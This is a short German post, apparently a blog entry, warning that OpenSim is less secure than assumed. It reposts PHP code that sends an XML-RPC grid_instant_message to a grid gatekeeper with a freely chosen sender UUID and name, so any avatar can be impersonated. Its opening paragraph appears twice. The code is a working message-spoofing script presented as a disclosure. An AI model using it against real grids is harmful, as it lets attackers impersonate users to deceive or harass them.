Opensim - Der Trugschluss
Viele sind der fälschlichen Meinung, dass OpenSIM relativ sicher ist.
Vor Urzeiten habe ich mal einen Code gefunden, der anderen Usern in OpenSIM ein IM zukommen lassen. Soweit nicht das Problem. Das Problem: Als Absender der IM kann jeder x beliebige Avatar genommen werden. Es wird nur die UUID benötigt
Ich habe hier mal einen Teil des Codes gepostet.
Vor Urzeiten habe ich mal einen Code gefunden, der anderen Usern in OpenSIM ein IM zukommen lassen. Soweit nicht das Problem. Das Problem: Als Absender der IM kann jeder x beliebige Avatar genommen werden. Es wird nur die UUID benötigt
Ich habe hier mal einen Teil des Codes gepostet.
$im_xml_body = "<?xml version=\"1.0\" encoding=\"utf-8\"?>" .
"<methodCall><methodName>grid_instant_message</methodName><params><param><value><struct>" .
"<member><name>position_x</name><value><string>0</string></value></member>" .
"<member><name>position_y</name><value><string>0</string></value></member>" .
"<member><name>position_z</name><value><string>0</string></value></member>" .
"<member><name>to_agent_id</name><value><string>" . htmlspecialchars($to_agent_id) . "</string></value></member>" .
"<member><name>from_agent_session</name><value><string>00000000-0000-0000-0000-000000000000</string></value></member>" .
"<member><name>im_session_id</name><value><string>" . htmlspecialchars($from_agent_id) . "</string></value></member>" .
"<member><name>from_agent_name</name><value><string>" . htmlspecialchars($from_agent_name) . "</string></value></member>" .
"<member><name>from_agent_id</name><value><string>" . htmlspecialchars($from_agent_id) . "</string></value></member>" .
"<member><name>binary_bucket</name><value><string>AA==</string></value></member>" .
"<member><name>region_handle</name><value><i4>0</i4></value></member>" .
"<member><name>region_id</name><value><string>00000000-0000-0000-0000-000000000000</string></value></member>" .
"<member><name>parent_estate_id</name><value><string>1</string></value></member>" .
"<member><name>timestamp</name><value><string>" . time() . "</string></value></member>" .
"<member><name>dialog</name><value><string>AA==</string></value></member>" .
"<member><name>offline</name><value><string>AA==</string></value></member>" .
"<member><name>from_group</name><value><string>FALSE</string></value></member>" .
"<member><name>message</name><value><string>" . htmlspecialchars($message) . "</string></value></member>" .
"</struct></value></param></params></methodCall>";
// --- CURL-Anfrage an den OpenSim Gatekeeper senden ---
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $grid_gatekeeper_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $im_xml_body);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/xml-rpc',
'Content-Length: ' . strlen($im_xml_body)
]);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$response = curl_exec($ch);
$http_status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
